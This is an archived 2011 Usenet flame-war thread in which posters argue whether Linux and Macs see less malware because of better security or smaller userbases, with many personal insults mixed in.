>>>>> That's right. It's *not* that linux is somehow fort knox compared to
>>>>> windows,
>>>> Maybe not Fort Know, but a lot safer? You bet
>>>>
>>>>> it's that the userbase isn't viable for money making.
>>>>>
>>>>
>>>> And that same old bullshit over and over again.
>>>>
>>>> Tell me, how did I ever get that Mac I use for programming OSX stuff?
>>>> How did I buy those other 7 computers I to be found here?
>>>> How did my son get his Mac? His iPhone?
>>>>
>>>> How did I ever get to buy a sailboat?
>>>>
>>>> By squandering money for basically useless windows and its
>>>> applications?
>>>>
>>>> Just don't tell us that you try to be dumber than Hadron Larry. First,
>>>> thats a near impossible feat. Second, it is by no means desireable
>>>>
>>> None of which has anything to do with his statement.
>>
>> Oh, it certainly has
> 
> No it hasn't, it has to do with the numbers. He could have been more
> explicit by stating "the size of the userbase" instead of "userbase" but
> that should be no problem if left implicit for any *thinking* person.
> 
>>> The Windows userbase is viable for making money because of the computing
>>> power that it represents, not because of the user's thick billfold. It's
>>> not about *who* gets their ID stolen - it's about *how many* get their
>>> ID stolen.
>>
>> And how easy, you forgot to mention.
> 
> Forgot to mention? Fact is I just plain wasn't talking about servers.

Up to here I wasn't talking about servers. I was talking about windows in 
general.
It gets owned by malware a lot easier than linux, and you may feel free to 
stomp your feet for hours on end. It will not change that simple fact, 
though

>> For the same reason linux servers get hacked a lot less than windows
>> servers. And linux servers represent 60% to>70% of servers (depending who
>> is doing the survey).
> 
> That's probably due more to OS security than to the population.

Security plays a role, yes.
But also the fact that linux servers tend to be much easier to admin than 
windows servers. 
That the companies employing linxu servers don't need to pay as much in 
licence fees adds another bonus point, naturally.
Another point may be that linux isn't glued to the x86-processor base as 
windows currently is. There isn't any windows for real computers, after all.
 
>> Owning a server is much more desireable than owning a desktop. Because
>> you get access to lots of desktop machines then
> 
> So, if the ultimate quest is for "lots of desktops" what executable
> filetype would you compile your SpamBot for ELF or EXE?
> 
> Exactly - you'd target the most popular platform.

No. I'd target the easiest platform. And if that means to go after the 
harder one first, in order to have the easy ones served on a silver platter, 
so be it. Strangely though, there aren't that many reports of owned linux 
servers. There should be a lot more
 
>> Tell us, how does *that* compute in your simpleton worldview?
> 
> Just shows me what an idiot you are, were you expecting something else?


0
9/3/2011 9:07:53 PM
FromTheRafters <erratic@nomail.afraid.org> writes:

> Hadron wrote:
>> FromTheRafters<erratic@nomail.afraid.org>  writes:
>>
>>> Peter Köhlmann wrote:
>>>> Dustin wrote:
>>>>
>>>>> Big Steel<"The Steel11177ttta"@Steel11277ttta.com>   wrote in
>>>>> news:weCdnaOYG4qa7fzTnZ2dnUVZ_oudnZ2d@earthlink.com:
>>>>>
>>>>>> No bang for the buck with crooks and Linux at the desktop. So why
>>>>>> bother? :)
>>>>>
>>>>> That's right. It's *not* that linux is somehow fort knox compared to
>>>>> windows,
>>>> Maybe not Fort Know, but a lot safer? You bet
>>>>
>>>>> it's that the userbase isn't viable for money making.
>>>>>
>>>>
>>>> And that same old bullshit over and over again.
>>>>
>>>> Tell me, how did I ever get that Mac I use for programming OSX stuff?
>>>> How did I buy those other 7 computers I to be found here?
>>>> How did my son get his Mac? His iPhone?
>>>>
>>>> How did I ever get to buy a sailboat?
>>>>
>>>> By squandering money for basically useless windows and its applications?
>>>>
>>>> Just don't tell us that you try to be dumber than Hadron Larry. First, thats
>>>> a near impossible feat. Second, it is by no means desireable
>>>>
>>> None of which has anything to do with his statement.
>>>
>>> The Windows userbase is viable for making money because of the computing power
>>> that it represents, not because of the user's thick billfold. It's not about
>>> *who* gets their ID stolen - it's about *how many* get their ID stolen.
>>>
>>
>>
>> Peter isn't very bright as you have surmised. He is actually a Windows
>> closed source software programmer but maintains he is not a Windows
>> user. Go figure. He also claims to be a world class C programmer and was
>> unaware that dereferencing a null point in C is a no go - not only that
>> but even given proof STILL tried to argue the toss. It's why he's so
>> aggressive. Being wrong all the time makes him belligerent as he
>> realises people are laughing at him. About the only person who reads his
>> rants is Creepy Chris Ahlstrom - but then he described "chrisv" from
>> COLA as "intelligent and insightful" and Rexx Ballard and 7 as geniuses.
>
> Linux can stand on its own and doesn't need advocacy - especially if it comes
> from people as clueless as this. It only proves the point of the Linux userbase
> being polluted leading to more Windows-like experience down the road as far as
> malware is concerned.
>
> The first clue is when you argue with them they try to make it sound like you
> are arguing against Linux when all you are really doing is arguing against some
> stupid statement they made.
>

Bingo! And statements don't get much more stupid than those from
Kohlkopf.


-- 
Emacs outshines all other editing software in approximately the same way
that the noonday sun does the stars. It is not just bigger and brighter;
it simply makes everything else vanish - Neal Stephenson
0
hadronquark (21814)
9/3/2011 9:40:34 PM
Peter Köhlmann wrote:
[...]

> Up to here I wasn't talking about servers. I was talking about windows in
> general.
> It gets owned by malware a lot easier than linux, and you may feel free to
> stomp your feet for hours on end. It will not change that simple fact,
> though

I would never have argued against that point.

The *why* of it and not the *fact* of it was in question.

>> So, if the ultimate quest is for "lots of desktops" what executable
>> filetype would you compile your SpamBot for ELF or EXE?
>>
>> Exactly - you'd target the most popular platform.
>
> No. I'd target the easiest platform.

Then you wouldn't cut it as a desktop commercial malware programmer.

However, it *is* true among servers that Linux is a viable target. 
Again, there are enough of them to make it worthwhile, and as you 
mentioned they tend to have more resources. And again, it is not about 
the security of the OS but the "cheese" aspect alone. Web applications 
are being subverted.

http://lwn.net/Articles/222153/

Still, if these owned boxes were being used to distribute desktop 
application malware (Bots) - those would be written for Windows machines 
for best return on investment because of the numbers.




0
erratic (209)
9/3/2011 10:12:44 PM
Snit wrote:
> Dustin stated in post Xns9F558E94ED96BHHI2948AJD832@no on 9/3/11 10:54 AM:
>
>> Snit<usenet@gallopinginsanity.com>  wrote in
>> news:CA86B55A.A49B2%usenet@gallopinginsanity.com:
>>
>>> Hmmm, Macs have about 20% market share in the use and people pay for
>>> them, on average, about 2-3x as much.  So people in the US are
>>> spending about the same for Macs as they are on Windows machines...
>>
>> No they aren't. I can build an impressive PC for half the cost of a
>> decent mac.
>
> I suggest you check your math.
>
> My claim:
>      People generally pay 2-3x for a Mac than what they would pay
>      for a PC.
>
> Your claim:
>      You have a PC about half the cost of a Mac.
>
> And then you claim I am wrong.  Perhaps you read my comments incorrectly?
>
>>> which implies the owners might have about the same amount of money
>>> to be scammed out of.  Or at least pretty close.
>>
>> Ehh, no. Macs are by far more expensive.
>
> Hence the "2-3x as much".
>
>>> The security by obscurity claim is proving to be largely false.
>>
>> LOL, not hardly. I confess tho, I do have the advantage here, insider
>> knowledge.
>
> I was in reference to Macs.  I was only including malware that directly
> scams the infected party.  Someone else jumped in and noted that a lot of
> malware does things other than this - acting as a zombie for example.
>
> And I agreed - my comments had not taken that into consideration and I stood
> corrected.
>
> Still, Macs are popular enough now (about 6% world market share) where the
> security by obscurity view is losing strength, just not by as much as I
> implied in my initial comments.
>
Another aspect is that such scams like scareware (you have porn, or you 
have viruses) works better on Windows because of the homogeneity of the 
applications usually found on the system. It is far less likely that a 
web page's script is going to be able to mimic the users desktop shell 
program's GUI (scanning files ****** done | finding porn *******done) 
and fool the user.

I even got one of those that tried to show me a Vista look on my XP 
system. Linux is far more varied in its looks, and thus harder to target 
in this manner. I don't have one, but maybe Macs are also more 
homogenous in GUI looks than Linux. Still - are there enough users 
likely to be fooled by this to make it worth someones time writing a 
socially engineered computer con for a specific platform?

It's still about the numbers.

Anyway, there *are* such scareware programs targeting Macs now, so that 
may end up weakening your stance as well.


0
erratic (209)
9/3/2011 10:31:13 PM
Apparently you spend a lot of time there, you are always going
on about it.

that is enough to keep normal working people away.

Carry on with it, as it is your cup o tea.




"Big Steel" <"The Steel11177ttta"@Steel11277ttta.com> wrote in message 
news:YYednZs2hp675v_TnZ2dnUVZ_vWdnZ2d@earthlink.com...
On 9/3/2011 2:46 PM, Bullwinkle. wrote:

<snipped>

Bulltinkel your hole is 24hoursupport.helpdesk where you are the news
clippings posting queen. Your hole is calling you.  I am telling you
Bulltinkel.  COLA is your cup of tea it can be your second squat spot.
COLA is trash like 24hrs. 

0
Bullwinkle
9/4/2011 6:53:54 AM
On 9/4/2011 2:53 AM, Bullwinkle. wrote:
> Apparently you spend a lot of time there, you are always going
> on about it.
>

I go there to 24hrs to jump on your ass about your continues news 
clippings postings BS day and night postings. Who in the hell do you 
think you are clown a wannabee Walter Cronkite you silly clown? :)

I don't know what wild hair popped off in your crazy ass that made you 
start making these posts and cross-posting to other NG(s) too with your 
bullshit news clippings.
0
Big
9/4/2011 10:30:55 AM
On 03/09/11 15:46, Big Steel wrote:
> On 9/3/2011 9:26 AM, David Brown wrote:
>> On 03/09/11 01:38, Big Steel wrote:
>>>
>>> LOL, I have to disagree here in the case of Linux at the desktop being
>>> used which is usually a sign that the user is broke and doesn't have any
>>> money. :)
>>
>> Most Linux desktop users have a Windows license for their machines as
>> well, because it is difficult to buy a machine without one. If you want
>> a PC without Windows, you usually have to build it yourself - and that
>> is normally more expensive than a pre-build one.
>
> All I see is people talking about they installed Linux on a door-stop,
> and they got it on a dumpster dive. :)

It is certainly true that if you have an old machine from somewhere, you 
will get more out of it with a modern Linux than with a modern Windows. 
  And you can easily get a copy of Linux to install legally.  To go the 
windows route, you need an old Windows CD (say XP or W2K) and cheat on 
the license.

It is always difficult to generalise on other people's usage.  But for 
my own usage, my PC's are certainly no dumpster dives.

I tried W7-64 on the machine in the beginning, and made a serious effort 
to learn W7.  But I just could not feel comfortable with it, and found 
it too slow to use (I don't mean it ran slowly - the hardware is fast 
enough to run anything quickly).  For me, the OS and it's gui should 
stay out the way and let me run the programs I want the way I want.  W7 
is a big step backwards from XP in that regard.

So I wiped it and use Linux for almost everything on this system, with 
occasional uses of an XP virtual machine.

For my office machines, I use one Linux desktop and one XP desktop, and 
several virtual machines of different types on each one.  The different 
systems have their advantages and disadvantages.

>>
>> People run Linux on desktops because they /choose/ to - not to save
>> money.
>
> Whatever.......
>>
>> People may run Open Office rather than MS Office to save money, and
>> similarly with other programs. And the lack of cost certainly makes it
>> easier to try out Linux. But Linux users have usually already paid for a
>> Windows license for the machine (even if they never use it).
>
> Most of them dumpster dive, they went to a pawnshop or someone gave them
> an old computer. :)
>
>>
>> In my household, there are two laptops and two desktops. They all came
>> with Windows licenses, but none of them have Windows installed (except
>> on a couple of virtual machines).
>
> I have no use for Linux at the desktop. Linux is not paying the bills MS
> is paying the bills. :)
>

MS does not pay /my/ bills, nor does Linux.  My work pays my bills, and 
I use the system that is most efficient for doing that work - currently 
around half-and-half Windows and Linux for desktop work, and 98% Linux 
for server work.  At home, I use the system I prefer.
0
9/4/2011 1:39:54 PM
On Sep 4, 2:38=A0am, Peter K=F6hlmann <peter-koehlm...@t-online.de> wrote:
> Dustin wrote:

> > Pirated version? Please. It's not *that hard* to acquire a valid VLK
> > key. No pirate.
>
> Except that RayDopeAbuser was proud to tell us that he paid all of $5
> somewhere in Asia.
>
> You know, that same guy who tells us how he is selfmade millionaire,
> programming with .NET
>
> If you want someone dumber than RayLopez, look at some dirt. Should be dr=
y
> dirt, though. Bacteria raise the IQ of dirt way beyond RayLopez

Shut up Kraut.  Get back to your factory workstation and make money to
pay off my countryman's bad loans in Greece.  And do it with a smile.

Move.  NOW!  VAMOS!  Boy don't make me lose my tone.

RL
0
raylopez88 (1520)
9/4/2011 3:14:04 PM
On Sep 3, 7:02=A0am, Dustin <bughunter.dus...@gmail.com> wrote:
> RayLopez99 <raylope...@gmail.com> wrote in news:c1035590-cbb8-4c5e-a9b7-
> 2473f87e1...@t7g2000vbv.googlegroups.com:
>
> > That's so true Dustin. =A0Linux is 'security by obscurity', with market
> > share being the obscurity. At one time people suggested using Firefox
> > because it had less market share than MSFT IE, and so fewer browser
> > exploits, but that advantage faded as soon as they picked up market
> > share.
>
> Calling me a clown and ragging on me, then having to accept what I said
> must irritate you. eh? Ass fuck.

Shit for brains Dustin I was actually trying to make you look more
impressive than you actually are. I was pumping you up, you dump.
Lern to reed.

RL
0
raylopez88 (1520)
9/4/2011 3:18:03 PM
RayLopez99 wrote:

> On Sep 4, 2:38 am, Peter Köhlmann <peter-koehlm...@t-online.de> wrote:
>> Dustin wrote:
> 
>> > Pirated version? Please. It's not *that hard* to acquire a valid VLK
>> > key. No pirate.
>>
>> Except that RayDopeAbuser was proud to tell us that he paid all of $5
>> somewhere in Asia.
>>
>> You know, that same guy who tells us how he is selfmade millionaire,
>> programming with .NET
>>
>> If you want someone dumber than RayLopez, look at some dirt. Should be
>> dry dirt, though. Bacteria raise the IQ of dirt way beyond RayLopez
> 
> Shut up Kraut.  

Poor Dopez.

Was that badge of glue you got from Snit Michael Glasser too potent for your 
tiny "brain"?

0
9/4/2011 5:09:09 PM
On 08/31/2011 12:03 AM, RayLopez99 wrote:
> Linux has viruses and malware.  See below.
>
> Now please spin the facts and tell me why this is not so, Linux
> cultists.
>
> RL
>
> http://www.av-comparatives.org/en/comparativesreviews/single-product-reviews
>
> ESET NOD32 Antivirus 4 Business Edition for Linux Desktop May 2011
> Review (english)
>
> The growing availability of user-friendly Linux
> operating systems for desktop and laptop PCs,
> with business support packages available,
> means that anti-malware solutions for Linux
> are becoming more important. Security
> software for Linux is  needed not only to
> protect the computer itself, but also to
> prevent malicious code aimed at other
> systems, such as Windows, being passed
> through the system. To counter such threats,
> ESET have released ESET NOD32 Antivirus
> Business Edition for Linux Desktop. For our
> review, we installed the 32-bit Business
> Edition, version 4.0.66.0, on 32-bit Ubuntu
> Desktop Edition version 10.04. ESET also make
> a Home Edition of the program, and both
> Home and Business versions come in 32 and
> 64-bit versions.

The only reason your brains don't rattle is sound doesn't travel through 
a vaccuum.
0
leon.whyte (19)
9/4/2011 5:53:23 PM
You have a reading comprehension problem.

COLA is your cup of tea now get along back over there.

BTW as a public school drop out
you really should try to improve your reading skills.




"Big Steel" <"The Steel11177ttta"@Steel11277ttta.com> wrote in message 
news:it6dnUq5lZMQzv7TnZ2dnUVZ_j-dnZ2d@earthlink.com...
On 9/4/2011 2:53 AM, Bullwinkle. wrote:
> Apparently you spend a lot of time there, you are always going
> on about it.
>


I 

0
Bullwinkle
9/4/2011 6:54:44 PM
On 9/4/2011 2:54 PM, Bullwinkle. wrote:

<snipped>
<yawn>

You are boring me Bulltinkle run along now and go find a news clipping 
to post, sensationalize it, lie with half truths and misinformation.

Hey wait a minute that sounds like COLA. :)
0
Big
9/4/2011 7:36:17 PM
On 2011-09-02, Dustin <bughunter.dustin@gmail.com> wrote:
> David Brown <david@westcontrol.removethisbit.com> wrote in
> news:XcidnQKrV5efPsPTnZ2dnUVZ7tqdnZ2d@lyse.net: 
>
>> I agree that it's the admin who is responsible - but the choice of
>> OS makes the job harder or easier.  With Windows, if you have a
>> solid network setup with a good firewall between the nasty internet
>> and the desktops, choose user software and setup carefully, and make
>> sure users have decent training in security, then you are pretty
>> safe.  But with Linux, I can install it on a laptop and connect it
>> directly to any network I want, and let anyone use it as they want. 
>> Very roughly speaking, you have to know what you are doing to keep
>> Windows safe - you have to know what you are doing to make Linux
>> unsafe. 
>
> Which is kind of ironic, seeing as you sort of need to know computers 
> reasonably well to install linux. Yet, a monkey can install the latest 
> version of windows. [g]. When linux gets to that point, and they will, 

   Nope. ANY OS install requires the user have a little bit of a clue.
Although it is far more important that the user simply not be scared 
away by the task. 

   There is nothing "hard" about installing Linux. Infact, it is far more
likely to be EASIER as it will be self contained and automated unlike the
WinDOS equivalent.

[deletia]

   Hitting OK a few times is hardly difficult.

-- 
                                    My macintosh runs Ubuntu.        |||
                                                                    / | \
0
jedi (14754)
9/5/2011 3:07:32 AM
On 2011-09-02, Dustin <bughunter.dustin@gmail.com> wrote:
> JEDIDIAH <jedi@nomad.mishnet> wrote in
> news:slrnj5tf3h.stn.jedi@nomad.mishnet: 
>
>> On 2011-08-31, Dustin <bughunter.dustin@gmail.com> wrote:
>>> Hadron<hadronquark@gmail.com> wrote in
>>> news:6tbov6vyoy.fsf@news.eternal-september.org: 
>>>
>>>> WHile Linux CAN catch a virus its rare as its rarely targetted by
>>>> the usual techniques since the "dumb" userbase is so small - that
>>>> and reasonably secure interfaces to the outside world.
>>>
>>> Give it time. That dumb userbase is growing. The "friendlier" linux
>>> gets, the dumber the users you will have. This is what happened to
>>> windows, this is how linux will go too. I will laugh hysterically
>>> in the background. Not at anyone in particular, but at the computer
>>> industry as a whole. 
>> 
>>    You can't get any dumber than the Mac userbase.
>
> Not true. I know all kinds of graphics artists who do the mac thing.

   Graphics artists aren't exactly a great brain trust.

>  
>>    So where's all the malware?
>
> Mac isn't a windows market. Malware authors are about the money now. When 

    It doesn't matter if it's a "windows market". My remark about the brain
trust bears repeating about now. Whether or not malware exists on a platform
is entirely a matter of how good of a breeding ground it is. What kind of
security holes exist on the platform? How can an infection be created and
spread?

    These are the relevant questions. 

    "How many machines are out there?" is quite irrelevant.

    Anyone familiar with the history of malware is aware of this.

-- 
                                    My macintosh runs Ubuntu.        |||
                                                                    / | \
0
jedi (14754)
9/5/2011 3:10:19 AM
On 2011-09-03, Big Steel <"The Steel11177ttta"@Steel11277ttta.com> wrote:
> On 9/2/2011 7:48 PM, Snit wrote:
>> Big Steel stated in post Or6dnTbH6oSq9PzTnZ2dnUVZ_vSdnZ2d@earthlink.com on
>> 9/2/11 4:38 PM:
>>
>>> On 9/2/2011 7:31 PM, Snit wrote:
>>>> Dustin stated in post Xns9F54C3752FB4EHHI2948AJD832@no on 9/2/11 4:06 PM:
>>>>
>>>>> JEDIDIAH<jedi@nomad.mishnet>   wrote in
>>>>> news:slrnj5tf3h.stn.jedi@nomad.mishnet:
>>>>>
>>>>>> On 2011-08-31, Dustin<bughunter.dustin@gmail.com>   wrote:
>>>>>>> Hadron<hadronquark@gmail.com>   wrote in
>>>>>>> news:6tbov6vyoy.fsf@news.eternal-september.org:
>>>>>>>
>>>>>>>> WHile Linux CAN catch a virus its rare as its rarely targetted by
>>>>>>>> the usual techniques since the "dumb" userbase is so small - that
>>>>>>>> and reasonably secure interfaces to the outside world.
>>>>>>>
>>>>>>> Give it time. That dumb userbase is growing. The "friendlier" linux
>>>>>>> gets, the dumber the users you will have. This is what happened to
>>>>>>> windows, this is how linux will go too. I will laugh hysterically
>>>>>>> in the background. Not at anyone in particular, but at the computer
>>>>>>> industry as a whole.
>>>>>>
>>>>>>      You can't get any dumber than the Mac userbase.
>>>>>
>>>>> Not true. I know all kinds of graphics artists who do the mac thing.
>>>>>
>>>>>>      So where's all the malware?
>>>>>
>>>>> Mac isn't a windows market. Malware authors are about the money now. When
>>>>> mac has enough people to make it worthwhile, the malware authors will
>>>>> target it.
>>>>>
>>>> Hmmm, Macs have about 20% market share in the use and people pay for them,
>>>> on average, about 2-3x as much.  So people in the US are spending about the
>>>> same for Macs as they are on Windows machines... which implies the owners
>>>> might have about the same amount of money to be scammed out of.  Or at least
>>>> pretty close.
>>>>
>>>> The security by obscurity claim is proving to be largely false.
>>>
>>> LOL, I have to disagree here in the case of Linux at the desktop being
>>> used which is usually a sign that the user is broke and doesn't have any
>>> money. :)
>>
>> Sure: Linux users likely have less money - given that one of the primary
>> reasons people use Linux is the lower initial cost.
>>
>>
>
> No bang for the buck with crooks and Linux at the desktop. So why bother? :)

   Why would that matter? Linux runs on hardware that usually has an OEM
Windows license associated with it. So the argument of "poverty" is pretty
assinine actually.

   It's WinDOS that is the cheap freebie. That perception has helped drive
it's adoption since the System 6 days.

-- 
                                    My macintosh runs Ubuntu.        |||
                                                                    / | \
0
jedi (14754)
9/5/2011 3:12:00 AM
On 2011-09-03, The Natural Philosopher <tnp@invalid.invalid> wrote:
> Snit wrote:
>> Big Steel stated in post Or6dnTbH6oSq9PzTnZ2dnUVZ_vSdnZ2d@earthlink.com on
>> 9/2/11 4:38 PM:
>> 
>>> On 9/2/2011 7:31 PM, Snit wrote:
>>>> Dustin stated in post Xns9F54C3752FB4EHHI2948AJD832@no on 9/2/11 4:06 PM:
>>>>
>>>>> JEDIDIAH<jedi@nomad.mishnet>  wrote in
>>>>> news:slrnj5tf3h.stn.jedi@nomad.mishnet:
>>>>>
>>>>>> On 2011-08-31, Dustin<bughunter.dustin@gmail.com>  wrote:
>>>>>>> Hadron<hadronquark@gmail.com>  wrote in
>>>>>>> news:6tbov6vyoy.fsf@news.eternal-september.org:
>>>>>>>
>>>>>>>> WHile Linux CAN catch a virus its rare as its rarely targetted by
>>>>>>>> the usual techniques since the "dumb" userbase is so small - that
>>>>>>>> and reasonably secure interfaces to the outside world.
>>>>>>> Give it time. That dumb userbase is growing. The "friendlier" linux
>>>>>>> gets, the dumber the users you will have. This is what happened to
>>>>>>> windows, this is how linux will go too. I will laugh hysterically
>>>>>>> in the background. Not at anyone in particular, but at the computer
>>>>>>> industry as a whole.
>>>>>>     You can't get any dumber than the Mac userbase.
>>>>> Not true. I know all kinds of graphics artists who do the mac thing.
>>>>>
>>>>>>     So where's all the malware?
>>>>> Mac isn't a windows market. Malware authors are about the money now. When
>>>>> mac has enough people to make it worthwhile, the malware authors will
>>>>> target it.
>>>>>
>>>> Hmmm, Macs have about 20% market share in the use and people pay for them,
>>>> on average, about 2-3x as much.  So people in the US are spending about the
>>>> same for Macs as they are on Windows machines... which implies the owners
>>>> might have about the same amount of money to be scammed out of.  Or at least
>>>> pretty close.
>>>>
>>>> The security by obscurity claim is proving to be largely false.
>>> LOL, I have to disagree here in the case of Linux at the desktop being
>>> used which is usually a sign that the user is broke and doesn't have any
>>> money. :)
>> 
>> Sure: Linux users likely have less money - given that one of the primary
>> reasons people use Linux is the lower initial cost.

   This is just a stupid Lemming lie.

   The primary reason that people use Linux is that it isn't WinDOS.

   It doesn't get infected with viruses. It doesn't crash. It doesn't freeze
when doing simple things and make the rest of the desktop useless.

   The fact that the OS is gratis is just a bonus.

>> 
>> 
> Doesnt that mean they end up having more money?

    This is a silly argument. If it weren't a free copy of Linux then it
would be a free copy of Windows. The cost aspect really isn't an issue.

    Although mandatory license management is an issue. There's simply less
bother when you are using a product that is gratis and thus not subjct to
stupid license enforcement shenanigans. You can move a copy from machine to
machine without a lot of bother. You can blow it away completely and start 
from scratch on the same machine without needing to worry if your license
will get revalidated.

    It's not the "cost". It's the bother.

-- 
                                    My macintosh runs Ubuntu.        |||
                                                                    / | \
0
jedi (14754)
9/5/2011 3:17:45 AM
On 2011-09-03, Big Steel <"The Steel11177ttta"@Steel11277ttta.com> wrote:
> On 9/3/2011 9:26 AM, David Brown wrote:
>> On 03/09/11 01:38, Big Steel wrote:
>>>
>>> LOL, I have to disagree here in the case of Linux at the desktop being
>>> used which is usually a sign that the user is broke and doesn't have any
>>> money. :)
>>
>> Most Linux desktop users have a Windows license for their machines as
>> well, because it is difficult to buy a machine without one. If you want
>> a PC without Windows, you usually have to build it yourself - and that
>> is normally more expensive than a pre-build one.
>
> All I see is people talking about they installed Linux on a door-stop, 
> and they got it on a dumpster dive. :)

   You choose to fabricate whatever you like.

   Reality as you've seen it really doesn't matter.

[deletia]

-- 
                                    My macintosh runs Ubuntu.        |||
                                                                    / | \
0
jedi (14754)
9/5/2011 3:18:41 AM
On 2011-09-03, Dustin <bughunter.dustin@gmail.com> wrote:
> Snit <usenet@gallopinginsanity.com> wrote in
> news:CA86B55A.A49B2%usenet@gallopinginsanity.com: 
>
>> Hmmm, Macs have about 20% market share in the use and people pay for
>> them, on average, about 2-3x as much.  So people in the US are
>> spending about the same for Macs as they are on Windows machines...
>
> No they aren't. I can build an impressive PC for half the cost of a 
> decent mac.

   Nevermind "build". I can plain get one in a box from Best Buy that
will be more powerful than a Mac while costing less. Apple uses 
inherently expensive parts. That makes it pretty trivial to beat them
on cost.




-- 
                                    My macintosh runs Ubuntu.        |||
                                                                    / | \
0
jedi (14754)
9/5/2011 3:21:10 AM
JEDIDIAH stated in post slrnj68fcr.jd9.jedi@nomad.mishnet on 9/4/11 8:10 PM:

> On 2011-09-02, Dustin <bughunter.dustin@gmail.com> wrote:
>> JEDIDIAH <jedi@nomad.mishnet> wrote in
>> news:slrnj5tf3h.stn.jedi@nomad.mishnet:
>> 
>>> On 2011-08-31, Dustin <bughunter.dustin@gmail.com> wrote:
>>>> Hadron<hadronquark@gmail.com> wrote in
>>>> news:6tbov6vyoy.fsf@news.eternal-september.org:
>>>> 
>>>>> WHile Linux CAN catch a virus its rare as its rarely targetted by
>>>>> the usual techniques since the "dumb" userbase is so small - that
>>>>> and reasonably secure interfaces to the outside world.
>>>> 
>>>> Give it time. That dumb userbase is growing. The "friendlier" linux
>>>> gets, the dumber the users you will have. This is what happened to
>>>> windows, this is how linux will go too. I will laugh hysterically
>>>> in the background. Not at anyone in particular, but at the computer
>>>> industry as a whole.
>>> 
>>>    You can't get any dumber than the Mac userbase.
>> 
>> Not true. I know all kinds of graphics artists who do the mac thing.
> 
>    Graphics artists aren't exactly a great brain trust.

One of the thing that Jobs understood was that both the designers and the
programmers work hard... they just work in such different areas that they
have a hard time communicating.

>>  
>>>    So where's all the malware?
>> 
>> Mac isn't a windows market. Malware authors are about the money now. When
> 
>     It doesn't matter if it's a "windows market". My remark about the brain
> trust bears repeating about now. Whether or not malware exists on a platform
> is entirely a matter of how good of a breeding ground it is. What kind of
> security holes exist on the platform? How can an infection be created and
> spread?
> 
>     These are the relevant questions.
> 
>     "How many machines are out there?" is quite irrelevant.
> 
>     Anyone familiar with the history of malware is aware of this.



-- 
🙈🙉🙊


0
usenet2 (47889)
9/5/2011 5:13:03 AM
On 09/04/2011 08:12 PM, JEDIDIAH wrote:
> On 2011-09-03, Big Steel<"The Steel11177ttta"@Steel11277ttta.com>  wrote:
>> On 9/2/2011 7:48 PM, Snit wrote:
>>> Big Steel stated in post Or6dnTbH6oSq9PzTnZ2dnUVZ_vSdnZ2d@earthlink.com on
>>> 9/2/11 4:38 PM:
>>>
>>>> On 9/2/2011 7:31 PM, Snit wrote:
>>>>> Dustin stated in post Xns9F54C3752FB4EHHI2948AJD832@no on 9/2/11 4:06 PM:
>>>>>
>>>>>> JEDIDIAH<jedi@nomad.mishnet>    wrote in
>>>>>> news:slrnj5tf3h.stn.jedi@nomad.mishnet:
>>>>>>
>>>>>>> On 2011-08-31, Dustin<bughunter.dustin@gmail.com>    wrote:
>>>>>>>> Hadron<hadronquark@gmail.com>    wrote in
>>>>>>>> news:6tbov6vyoy.fsf@news.eternal-september.org:
>>>>>>>>
>>>>>>>>> WHile Linux CAN catch a virus its rare as its rarely targetted by
>>>>>>>>> the usual techniques since the "dumb" userbase is so small - that
>>>>>>>>> and reasonably secure interfaces to the outside world.
>>>>>>>>
>>>>>>>> Give it time. That dumb userbase is growing. The "friendlier" linux
>>>>>>>> gets, the dumber the users you will have. This is what happened to
>>>>>>>> windows, this is how linux will go too. I will laugh hysterically
>>>>>>>> in the background. Not at anyone in particular, but at the computer
>>>>>>>> industry as a whole.
>>>>>>>
>>>>>>>       You can't get any dumber than the Mac userbase.
>>>>>>
>>>>>> Not true. I know all kinds of graphics artists who do the mac thing.
>>>>>>
>>>>>>>       So where's all the malware?
>>>>>>
>>>>>> Mac isn't a windows market. Malware authors are about the money now. When
>>>>>> mac has enough people to make it worthwhile, the malware authors will
>>>>>> target it.
>>>>>>
>>>>> Hmmm, Macs have about 20% market share in the use and people pay for them,
>>>>> on average, about 2-3x as much.  So people in the US are spending about the
>>>>> same for Macs as they are on Windows machines... which implies the owners
>>>>> might have about the same amount of money to be scammed out of.  Or at least
>>>>> pretty close.
>>>>>
>>>>> The security by obscurity claim is proving to be largely false.
>>>>
>>>> LOL, I have to disagree here in the case of Linux at the desktop being
>>>> used which is usually a sign that the user is broke and doesn't have any
>>>> money. :)
>>>
>>> Sure: Linux users likely have less money - given that one of the primary
>>> reasons people use Linux is the lower initial cost.
>>>
>>>
>>
>> No bang for the buck with crooks and Linux at the desktop. So why bother? :)
>
>     Why would that matter? Linux runs on hardware that usually has an OEM
> Windows license associated with it. So the argument of "poverty" is pretty
> assinine actually.
>
>     It's WinDOS that is the cheap freebie. That perception has helped drive
> it's adoption since the System 6 days.
>
I run Mint because Windows sucks and Mint works perfectly.
0
Sneaky (395)
9/5/2011 6:32:46 AM
On 09/04/2011 08:21 PM, JEDIDIAH wrote:
> On 2011-09-03, Dustin<bughunter.dustin@gmail.com>  wrote:
>> Snit<usenet@gallopinginsanity.com>  wrote in
>> news:CA86B55A.A49B2%usenet@gallopinginsanity.com:
>>
>>> Hmmm, Macs have about 20% market share in the use and people pay for
>>> them, on average, about 2-3x as much.  So people in the US are
>>> spending about the same for Macs as they are on Windows machines...
>>
>> No they aren't. I can build an impressive PC for half the cost of a
>> decent mac.
>
>     Nevermind "build". I can plain get one in a box from Best Buy that
> will be more powerful than a Mac while costing less. Apple uses
> inherently expensive parts. That makes it pretty trivial to beat them
> on cost.
>
Nothing cost more than a Mac. Nothing.
0
Sneaky (395)
9/5/2011 6:33:34 AM
Sneaky Weasel stated in post 4e646d47$2@news.x-privat.org on 9/4/11 11:33
PM:

> On 09/04/2011 08:21 PM, JEDIDIAH wrote:
>> On 2011-09-03, Dustin<bughunter.dustin@gmail.com>  wrote:
>>> Snit<usenet@gallopinginsanity.com>  wrote in
>>> news:CA86B55A.A49B2%usenet@gallopinginsanity.com:
>>> 
>>>> Hmmm, Macs have about 20% market share in the use and people pay for
>>>> them, on average, about 2-3x as much.  So people in the US are
>>>> spending about the same for Macs as they are on Windows machines...
>>> 
>>> No they aren't. I can build an impressive PC for half the cost of a
>>> decent mac.
>> 
>>     Nevermind "build". I can plain get one in a box from Best Buy that
>> will be more powerful than a Mac while costing less. Apple uses
>> inherently expensive parts. That makes it pretty trivial to beat them
>> on cost.
>> 
> Nothing cost more than a Mac. Nothing.

Not even your education?   :)


-- 
🙈🙉🙊


0
usenet2 (47889)
9/5/2011 6:46:51 AM
On 2011-09-05, Sneaky Weasel <Sneaky@Weasel.com> wrote:
